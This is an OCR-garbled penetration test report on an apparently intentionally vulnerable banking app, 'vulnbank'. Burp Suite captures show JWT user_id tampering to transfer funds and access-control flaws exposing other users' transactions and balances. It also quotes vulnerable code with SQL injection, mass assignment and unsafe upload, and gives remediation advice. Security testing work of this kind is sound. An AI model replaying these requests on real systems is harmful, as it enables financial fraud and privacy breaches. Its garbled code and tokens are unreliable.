& User-Agent: okhttp/4.9.2

unt®;"SS52027435",

to_accoul 2759625271",
*amaunt® :200,
*description:*Transfer from mobile app"

@ W

© o

=

Burp Suite Community Edition v2025.10.3 - Temporary Project
Decoder Comparer Leager Organizer Extensions Learn
==m
Response
Pretty Raw Hex E no=

HITR/2 200 0K

Date: Thu, 20 MNov 2025 21:36:23 GMT

content-Type: applicationsjson

Access. Control- AlLow- Origin: *

sarver: cloudflare

Cf-Cache-Status: DYNAMIC

Mal: {*report_to":"cf-nel?, success_fraction":0.0, "max_age": 604200}
Sarver-Timing: cf CacheStatus;desc="D¥NAMIC"

Sarver-Timing: cf Edge;dur=6,clorigin;dur=28s

f-nal","max_age® : 804800, "endpoints" : [{"url* :*https: /fa.nel.c
loudflare.com/report/v4?s=sIFpNT c X24wE2M2 oukc FWOIESEGdUCxN%2EHZ LhSA45SwE
CI5chno XSy 2mMxt oy 300FgEMPWOKAREWLLNAr JhBal StV1wesZFw06nt 7v%30° 11}

11 cf-Ray: 9albl5208b72793a-DAR
12 Alt-Sve:

h3=':443"; ma=B5400

sy

'message" : ' Transfer Completed",
“new_balance":700.0,
"status":'success’

18}

19

We decoded the authorization bearer to base 64 and changed the user id. The initial user id was 2980 and
we changed to 2979, and the transfer was successful without changing the from and to accounts.

B Rurp Project  Infruder  Repeater  View  Help Furp Sute Commurnity Eoition v3025.10.3 - Temporary Project = [u} E3
Dachboard Target Prosy ntruder Repeater Collaborater Sequencer Do Comparer Logger Crganizer Cxtensons Learn m @
By iy OTIWLC NeRvebm T AGFh XY NILCIRY KGIOE NN MAN DR ) Tesl ) Hex [©)
Decode as .
Encode as . v
Hash _. o
Smart decode
[user_id® 29080, username* " zizostar”, is_adinin® false "ial 1763573740} & Text ) Hex
Uecode a5 ..
Ernode s ..
Hash .
Smart decode
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Dup Proiect Diluder Repeater View  belp Bura St Community Edition v2025.1 - o0 X
Dushboard Target  Proxy  Inbuder  Repeater  Collaborator  Seguencer Deuoder Comparer  Logger Lesarn [
ey HicEy LCHE2v Clp AZY INCHEMAD @ Text () Hex @®

Drecule o ...
Engode 3s .. i
Hash . v
smart decads
(Muser_jd" 2080, usermanm e " 2izo" "is_admin"false, iat" 1763674961} ) Tet Hox
Drecude as .. .
Cngode as .. b
Hash .. v
Smart decode
@ Tt Hex
Cecode as .. R
Cngode as .. ~
Hash .. ~
Smart decads
VAo T S Db FLES I SHEG1PAIE T P sl CIEM T MY 3 DR = @ Text ) Hex
Uecode as .. -
Eniode es ..
Hash .. -
smart derade
wenk g} * allissues @ Memary 135408 * Disabled ~
Burp Project Intruder Repeater View Help Burp Suite Com munity Edition v2025.10.3 - Temporary Project

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn

1 2 x +
m &|  cancel * Burp Al

Request Response

Pretty  Raw  Hex = n Pretty  Raw  Hex Zender anr
POST ftransfer HTTR/2 HITR/2 200 OK

Host: vulnbank.org Date: Thu, 20 Mov 2025 21:55:58 GMT

cookle: token= Content-Typa: application/)son

ey J0eXAL 0L IKVIQLLCIhbGe1 01 JIU2I INLI 9. ey J1e2Vy X2 1k oyOTe SLCI 1e 2VybnFtZs Access-Control-Allow-Origin: *

I6InppemBLLClpclehZGlpbl I6ZmFsc 2UsI mLhd CIEMTc 2MzY 3MDk 2MX0. HSqXMa TIgos LZ Server: cloudflare

- 47 xbrwtT ONCInzk OonO70uEFcha 7Rk Cf-Cache-Status: DYNaMIC

[N

w
ESR N

Y]

4 Authorization: Esarer 7 mel: {"report_to":'cf-nel’,"success_fraction":0.0, 'max_age" : 604800}k
@y J0eXAL 0L JKVI0LLCIhbGe1 01 JIUZT LML D 9. ey ) Le2Vy X211 JoyOTgwlic) 1c2vybmFtZs | 2 Server-Timing: cfCacheStatus:desc="0yYMAMIC"
I6InppemBLLCIpelshZGlpbl I6zn=sc2UsI mLhd CIEMTc2Mzy 3HDk 2Mi0=, HSg ¥XMIi T Igos L o server-Timing: cfEdge;dur=s,cforigin;dur=zss
Z- a7 xbrwNT ONCInzk ono7ousFchGTRk 10 Report-To:
S Content-Type: application/json {"group":"cf-nel","max_age" :6042800, ' endpoints®: [{"url":"https://a.nel.c
& Content-Length: 109 Loudilare. com/report/va?s=Xf 1xmk SqxvRXVRHWKLK j LA 2B2beB%2B0c T SVBZ2dy 207K
' Accept-Enceding: gzip, deflate, br qlcleXcpHebb2FgRugO]j TAKZLLXD NDAT &1 hsOT Pyy 2RqbwWWopMSSKyvr L 740630 11}
@ User-agent: okhttp/4.9.2 11 cf-Ray: Salb3ldzeece?sdc-DaR
9 12 Alt-sver h2=":442"; ma=26400
04 12
*from_account":®2259625271°, 14 |{
*to_account ' S552027435", "message":'Transfer Completsd”,
Y amount $ 300, "new_balance":700.0,
*description":"Transfer from mebile app" "status":"success"
1 18

Risk

Attackers can transfer money from any user’s account by changing the user id inside the token.
The app doesn’t check if the token is valid or signed.
It only checks if the user_id exists, not who owns the account.

This allows unauthorized fund transfers, account takeover, and financial loss.
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Recommendation
e Include security testing for all authentication and transfer logic.
e Add rate limiting and alerting for suspicious transfers
e Do a full code review and penetration test of the authorization flow.

Unrestricted Access To User Transactions

We were able to retrieve transaction history for users without proper authorization checks. Using a valid
(low privilege) we could request /transactions/account number for other users and receive their full

transaction details.

We logged in as zizo, clicked on the transaction history, intercepted it with burp and sent it to the repeater.
We then got the following results;

Dashboard

Welcome back, zizo
Account: 2259625271

Quick Actions

—
Money
Transfer

Send money to
other accounts

Check Balance

View your current
account balance

D

Transaction
History

View your recent
transactions
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Burp Project Intruder Repeater Wiew Help Burp Suite Community Edition v2025.10.3 - Temporary Project

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn
Intercept HTTP history WebSockets history Match and replace @ Proxy settings

% Filter settings: Hiding C55 and image content; hiding specific extensions

# Haost Method  LIRL Params Edited Statuscode Length MIME type Extension Title Motes TS P
7 https:/fvulnbank.org POST  [login o 200 1205 JSOM v 104,
8  httpsiffvulnbank.org GET Jeheck_balance/2259625271 200 710 Json v 104,
9 https:/fvulnbank.org GET Japifbill-payments/history 200 547 Json + 104,
10 https:d/fulnbank.org GET fapifbill-categories 200 1097 Js0M B 04,
1 https:/fvulnbank.org GET fapifvirtual-cards 200 646 150N s 104,
12 httpsilfvulnbank.org POST  (legin v a0 794 Isomn v 104,
13 httpsifvulnbank.org POST  (login « 401 804 Jsom v 104,
14 https:/hulnbank.org POST  [apifv2iforgot-password b 404 677 JSOM o 104,
15 hitpsi/fvulnbankorg POST  [fapifv2iforgot-password o 200 785 JSON o 104,
16 httpsi/fvulnbank.org POST  (login “ 200 1303 JSON v 7L
17 hitpsi/fvulnbank.org GET Irransactions/2258625271 200 1753 JSON v 17
18  https:lfandroid.googleapis.co.. POST  fauth/devicekey L4 400 2065 HTML Error 400 (Bad Reque... b4 16,
O==
Request Response
Pretty Raw Hax w n = Pretty Raw Hex Render B ws=
1 GET /transactions/ 2259625271 HTTR/2 1 HITP/2 200 OK
2 Host: vulnbank.org 2 Date: Thu, 20 Mov 2025 22:29:35 GT
= cookie: teken= 2 content-Type: application/json
eyJ0eXALOLIKYIQLLCIhbGE101 I IUZI INLI9. ey ) le2Vy X2k joyOTeSLCI 1e2uybrFtZ | 4 Access-control-Allow-Origin: *
sI6InppemsilClpelshZzelphl I6ZmFsc2Us InLhdCIEMT c2MeY 3NZESHNND. yrED_PO- FRT 5 server: cloudflare
HiywehTPT2a. BTUBKg- ICONPgxzTALY & Cf-Cache-Status: DYMAMIC
4 Authorization: Bearer 7 Hel: {"report_to":"cf.nel","success_fraction":0.0,"max_age" : 6048000
ey]0eXAL0LIKV101LCIhbGo101IIUZI 1ML D5, eyl Le2vy X2kl JoyOTcSLCI 1e2uybrFtz | 8 Server-Timing: cfcacheStatus:desc="DyMaMIC®
sI6Inppem8ilClpelshzeiphl I62nFsc2Us ImLhdCISMT c2MaY 3NZESHND. yrKE_PO- FRt S server-Timing: cfedge;dur=z,cforigin;dur=zsz
HiyweThTPT2a- BTuBKg- ICONPgxzTALY 10 Repert-To:
= Accept-Encoding: gzip, deflate, br {*group" :"cf -nel", "max_age" : 604800, "endpoints" : [{"url :"https://a.nel.cl
5 User-Agent: okhttp/4.9.2 oudflare.com/report/ v47s=EyS3ccPlsror bweBHEe%2FUWeUWI PNZUZ T Lx LWCms EgsLDW
7 1f-modified-Since: Thu, 20 Nov 2025 22:12:07 GMT NZBUHY Lem2r LAMCRVS TV rO&%28We gT SHri pvocolmi bevdul vuwmGLeo%s3n® 11}
g cf-Ray: 9alb6a1209f1753a- DAR

: alt-sye:r h3=':443"; ma=85400

{
*account_nurber' ;' 2osse25271 0,
“server_time®:"2025- 11-20 22:20:01.902085",
*status" ' success’,
18 *transactions':[

20 Yamount' $300.0.
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Burp Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collzboratar Sequencer
1 2 x +

ERe o ¢ % BupAl

Request

Pretty  Raw  Hex 2@ w =

1 GET /transactions/2250625271 HTTP/2

~ 3o

@

& €2

* Host: wulnbank.org

Cookie: token=

eyl0eXAl 01 JKVI01LCIhbGei 01 TURT INLD S, ey ) Le2vy 21k joyOTcSLC) le2vybmFtZs
IslnppemaiLClpe 19h2G1phi L 62ZmFsc 2UsImLhd CLEMT e 2Mz Y SNZESHN D, yriko_PO- FPTHY
ywethTPT3a- BTuBKg- ICOnPgxzTALg

Authorization: Bearer

eyl0eXAL0LJKVI01LCIhbGe 01 TUZ] INLD S, ey ) Le2vy K21k joyOTe5LC) Lle2vybnFTZs
I6InppemElLClpe 19hZG1phil 6ZmFsc 2UsImLhd CLEMT c2MeY INZESMND . y rkO_PO- FPTHM
ywethTRT3a- BTuBKg- ICONPgxzTALg

Accept-Encoding: gzip, deflate, br

User-Agent: okhttps/4.9.2

1f-Modified-Since: Thu, 20 Nov 2025 22:12:07 GMT

0

0 highlights

Burp Suite Community Edition v2025.10.3 - Temperary Project

Decoder Comparer Logger Organizer Extensions Learn
a: =
Response
Pretty ~ Raw  Hex  Render n =
1 HTTR/2 200 oK

W~ DS ) R

W @

10

Date: Thu, 20 Mow 2025 22:45:35 GMT

Content-Type: application/json

fccess-Control- Allow- Origin: =

Server: cloudflare

cf-Cache-Status: DYNAMIC

Mel: {"report_to":*cf-nel", 'success_fraction':0,0,"max_age" : 604200}
Server-Timing: cof CacheStatus;desc="0yNamMIC"

Server-Timing: cf Edge;dur=s,cforigin; dur=286

Report-To:

{*group":*cf-nel", *max_age* 1604800, *endpointst : [{"url® i *https:sra.nel. e
Loudf lare . com/report/va? s=WFRLS7g LanE%ar 1] MLT W28 de (R QGY Gl 252U 45 50K
Pe2Fumop g3 LORZEK X pASPsOmBE] SqSONZPool SBEK UY%2E71I5h 1864y sSt MHGr 75ys%30" }
1k

cf-Ray: Salb7asBoe3b7535- DAR

alt-sve: h3=":443"; ma=86400

{
"account_number® i 2250625271" ,
“server_time":'2025-11-20 22:36:02.789838",
"status' :"success",
"transactions':[
{

"amount” 200,90,

"description:*Transfer from mobile app®,
*f rom_account® ;" 2259625271",

"idtize4z,

"rimestamp®:*2025-11-20 21:43:35,465695",
"to_account® :®SS52027435" ,
"type':"transfer"

"amount® :200.,
"description':"Transfer from mobile app®,
"from_account' :"S552027435",

£ ohighlights

We then tried to access another account named zizostar by keying the account. This was a success.
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Burp  Project  Imtruder  Repeater  View Help Burp Suite Community Edition v2025.10.3 - Temporary Project
Dashboard Target Prowy Inkruder Repeater Collaborator Sequencer Decoder Comparer Logger CGrganizer Extensions Learn
1 2 %+
EXR o e (<
==
Request Response
Pretty Raw Hex = a = Pretty Raw a wno=

1 ceT .-"tl‘an‘sact‘_ong.-"b552027435 HTTR/2
2 Host: wulnbank.org

1 HITE/2 200 OK
Data: Thu, 20 Mov 2025 22:49:34 GMT

2 Cookie: tokens Contant-Typa: application/jsen

ey ]0eXA101 IKV1GuLCIhbGe1 0L TUZT 1ML IS, 2y I 1e 2y X2LkT joyOTeSLCI 1 2WyhbnFtZS | 4 Access- Control- Allow-Origin: *

ISInppem81LClpe 19hZGLpbl I 6ZmnFsc 2UsImLhd CIEMT 2 2M2Y 3MzESNRO. yr KO_PO- FPEHN = Servar: cloudflare

ywafhTPTZa- BTuBkg- I ConPgxztalyg & Cf-Cache- Status: DYMAMIC

Authorization: Bearer 7 Mel: {"report_to":"cf-nel","success_fraction®:0.0, 'max_sge' : 504800}
eyl0eXA101JKV1GaL CIhbGei 01 JTUZT INLIS. ey 1e2Vy X2LkI joy0TcSLCI 1e 2WybmFtZS 2 Server-Trmng: cfCacheStatus;desc="DOYMaMIC"

I6Inppem8il Clpc 19hZG1pbi I 6ZrFsc2UsImlhd CIEMT e 2MzY 3Nz ESNNO. yrKB_PO- FPEHN < Server-Timing: cfBdge;dur=s5,cfOrigin;dur=205

ywefhTPT2a- BTuBKg- [COnPgxztAlg 10 Report-To:

S accept-Encoding: gzip, deflate, br {*group*:*cf-nel*, "max_age" : 604800, " endpoints® : [{*url":"https:/rfa.nel.c
S User-fgent: ckhttp/a.9.2 Toudflare. com/report /va?s=L 0eftiQooSsOWEDp Bz TWmis2BY 0 2FSw3xgBET y 21V T%2F
7 If-Modified-Since: Thu, 20 Nov 2025 22:12:07 GMT hslrPeFGsHCSZ ) tyOMZT ROxk SE1 chhif CHWmZphmECr rOZEMFmxCuQnT Smk &30 3 11

] 1 Cf-Ray: SalbB0S3ER107934-DAR

2 Alt-Svc: h3=":443"; ma=85400

1
1
1
14 {
1 "account_number: ' S552027435",
15 "server_ti.rre' DM 2025-11-20 F2:40:00, 127018",
17 "status":"success”,
18 "transactions":[
19 {
20 tamount® :3200.0,
21 ‘description” :*Transfer from mobile app".
22 *from_sccount™:*S552027433",
23 tidv o243,
2 'timastamp® $"2025-11-20 21:45:24.003509",
25 " to_accoun 5552027435",
26 "type":"transfer’
27 N
28 1
29 *amount® :300.0,
3 *description”:*Transfer from mobile app",
*from_account”:'Z259625271",
fad" 12242,

Risk

e Complete Privacy breach
e Attackers can analyze balances and transaction patterns to target theft or social engineering.
e Pll/financial data leakage may trigger regulatory penalties and breach-notification requirements.

Recommendations

e Admin actions should require explicit roles and additional verification.

e Log attempted and successful access to user resources and create alerts for cross-account access.
Access To Users Account Balance

We tested the /check balance endpoint which is used in checking the account balance of valid users. We
found that we could access users' account balance by appending their account number to the endpoint.
Getting valid account numbers was valid due to the /debug/users endpoint leaking valid user details. We
logged in as zizo captured the check balance traffic in burp and sent it to the repeater to modify the
request. We keyed zizostars’s account number, hence seeing his balance.
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Burp Project Intruder Repeater Wiew Help Burp Suite Community Edition v2025.10.3 - Temporary Project

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Qrganizer Extensions Learn
1 2 3 x +
E @ < 3 * Burp Al
= m
Request Response
Pretty Raw Hex w no= Pratty Raw Hex ends no=

1 GET .-'check_balance,-f'5552927d35{ HTTR/2
Z Host: wulnbank.org
3 Cockis: token=

1 HITR/2 200 0K
Date: Thu, 20 Mov 2025 23:03:45 GMT
Content-Type: application/json
eyJOeXAL 02 JKV10LLCIhbGea0a JIUzI 1ML D 9, ey Lo 2VyX21kI JoyOTcSLC] Le2VybnFtZS Access-Control- Allow-Origin: *
I6InppemBilClpc15hZG1pbi I6ZmF sc2UsT mlhdCI SMT c2MzY 3M) g LM30. PxniwbnWeX1Ds Sarver: cloudflare
aSOWT XwFLvBLVKP_dkSB0689XgzkuM & Cf-Cache-Status: DYNAMIC
4 puthorization: Bearsr 7 Nel: {*report_to":"cf.nel", *success_fraction':0.0, ‘max_sge' 504800}
ey]0=XAL 01 IKVI01LCIRb Gl 0 I TUZT LM 9. ey ] 12Uy X2k T joyOTeSLC] le2vybmFtZ5 % Server-Timing: cfCacheStatus;desc="DyNaMIC*
I6Inppem8ilClpc 18hZG1phi TEZmFsc2UaT mL hd CTBMT o 20z 3] g LM30. PrnilwionWex10s 9 saryver-Timing: cfEdge;dur=4,cforigin;dur=294
2S0WT ¥wFLvELVKP_dk9B06BSKgzkuM 0 Report-Ta:

(LSS

S fccept-Encoding: gzip, deflate, br
& User-Agent: okhtip/4.9.2
7 If-todified-Since: Thu, 20 Mov 2005 20:58:55 GMT

{"group" :"cf-nel", "max_age" :604800, *endpoints’  [{'url" :"https: /fa.nel.c
Toudflare.com/repart/va?s=0MpHws2BREmUOOT f vEMa1%2F0Tad Kz f Cn 11 DoFh2Fx S
RebthSHrbES2F 7ewz] & Bpdwcad PUA2BEaSa L NM] XN78pmSx ) dvebECUkp Tk BALY Zo%3D" 11}

cf-Ray: 2a1bo51dSeba7o30- DAR
2 Alt-Sve: h3=":443"; ma=85400
14 {
15 account_numbert  tSSS20274350 ,
‘balance*: 1000.0,
"status” :'success’,
‘username* ;" zizostar"

Risk

e Anyone can view other users’ account balances by appending their account number to the
/check balance endpoint.
e Valid account numbers are easily found from the /debug/users endpoint leaking user data.

e This exposes sensitive financial information and violates user privacy.
Recommendation

e Restrict access to /check balance — require authentication and verify the account that belongs to
the logged-in user.

e Remove or secure /debug/users to prevent data leaks.

e Never expose account numbers in URLSs.

e Add proper authorization checks, logging, and rate limiting to prevent unauthorized access.
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4.4 Github Finding

These are some vulnerabilities that we found in the Github repository. We mainly focused on the

app.py file. Attackers can use this info to reverse engineer or use them.

4.4.1 Hardcoded secret

Overview

Valuable information such as API keys, password, encryption keys,token are stored in the source
code.Attackers can use this info to reverse engineer or use them. This exposes the organization

to credential theft and unauthorized access.

Severity

High

Hardcoded secrets provide attackers direct access to sensitive systems or functionality without

needing to bypass authentication.
Impact
An attacker with access to the hardcoded secret could:

Authenticate as a privileged service or user.
Access confidential systems or data.
Manipulate application behavior.

Evidence of finding
Below is the screenshot showing proof of concept:

Recommendation

Short term

e Revoke the exposed secret and replace it.

e Remove hardcoded values from the application
Long term

e Enforce security coding practices

Perform lateral movement and escalate privileges.
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e Use secure key vaults.

Summary

Affected system Application
vulnerability : hardcoded secret
Severity: High.

Remediation: Immediate.

4.4.2 SQL injection

Overview

Multiple endpoints are vulnerable to the injection such as login, forgot -password via the
f-strings allowing SQL injection.

Severity

Critical

Impact

e Data exfiltration
e Database compromise

Evidence of finding

SOL Injection vulnerability (dir ally vulnerahble)

query = T"SELECT * FROM | "{username}' AND password='{password}'"

print{f"Debug - Login query:

Recommendation

e Use parameterized queries
e Minimum database privileges
Summary
Affected system: login
Severity: critical
Priority: high
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4.4.3 Broken Access Control

Overview

Multiple endpoints expose account balance without validating the owner of the account is the
one requesting it.

Severity

Critical

Impact

An attacker can view other users balances leading to privacy breach and financial fraud.

Evidence of finding(H4)

def

api_c e(current_user):

account_number = reques

conn = sqlite3

Recommendation

e Validate current user owns the requested account
e Return forbidden to unauthorized user error 403

Summary

Affected system: balance / transaction api
Remediation: immediate.

4.4.4 Mass Assignment

Overview

This involves the parameter tampering that leads to various manipulation such as balance and
privilege escalation. The register(), is_admin, balance are but an example.
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Severity

Critical

Impact

e Self-assign admin privileges
e Modify balance
e Financial fraud

Evidence of finding
user input fields
ignment possibl
count_number ']

values = [user_data.get('username'), user_data.get('password'), account_number]

Include any additional parameters from user input

Recommendation

e Whitelist allowed fields.

Summary

Affected system: /register
Vulnerability: Mass assignment
Remediation: Immediate.

4.4.5 Insecure Design

Overview

Reset PINs are 3-digit, stored in DB plaintext and v1 API returns the PIN in response. No rate
limiting on reset attempts. Attackers can brute-force 000—999 or call v1 to obtain the pin.

Severity

Critical

Impact

e Account takeover
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e Fraud

Evidence of finding

eset PIN in database (in plaintext - CWE-319)

execute_quel

"UPDATE u SET reset_pin = %s WHERE username = %s",

reset_pin, username),
fetch=False

Recommendation

e Do not expose pin
o Use long random OTP
e Don't store it in plain text.

Summary

Affected system: Reset-Pin
Severity: critical

4.4.6 Unrestricted file upload

Overview

Profile upload accepts any file and saves to web-accessible static/uploads with no
content-type,size validation. Upload profile picture url fetches arbitrary URLs with
verify=False, follows redirects, no host allowlist.

Severity

High

Impact

This can lead to remote code execution, exfiltration of data.
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Evidence of finding
profile_picture{current_user):
if 'profile_picture' not in request.files:
n jsonify({'error': 'No file provided'}), 40880

request.files['profile_picture']

if file.Tilename == "':
nify({'error': 'No Tile selected'}), 4880

Tilename =

Add random prefix to

filename " {random.randint{l, }_{filename}"

lnerability: Path traversal possible if filename contains

Tile_path = os.path.join({UPLOAD_FOLDER, fTilename}

file.save(Tile_path)

Recommendation

e Only use image filetype
e Limit size of file

Summary

Affected system: upload profile picture
Severity: High.
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5.0 Commendable Implementations

Here are some of the commendable things that we found during the test

1.
2.

Does not allow you to login without having registered.

In some requests it requires one to be authenticated e.g by having cookies and
authorization bearers.

Cant send money if the amount they want to transfer exceeds the balance.
Separation of function business logic
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6.0 Appendices
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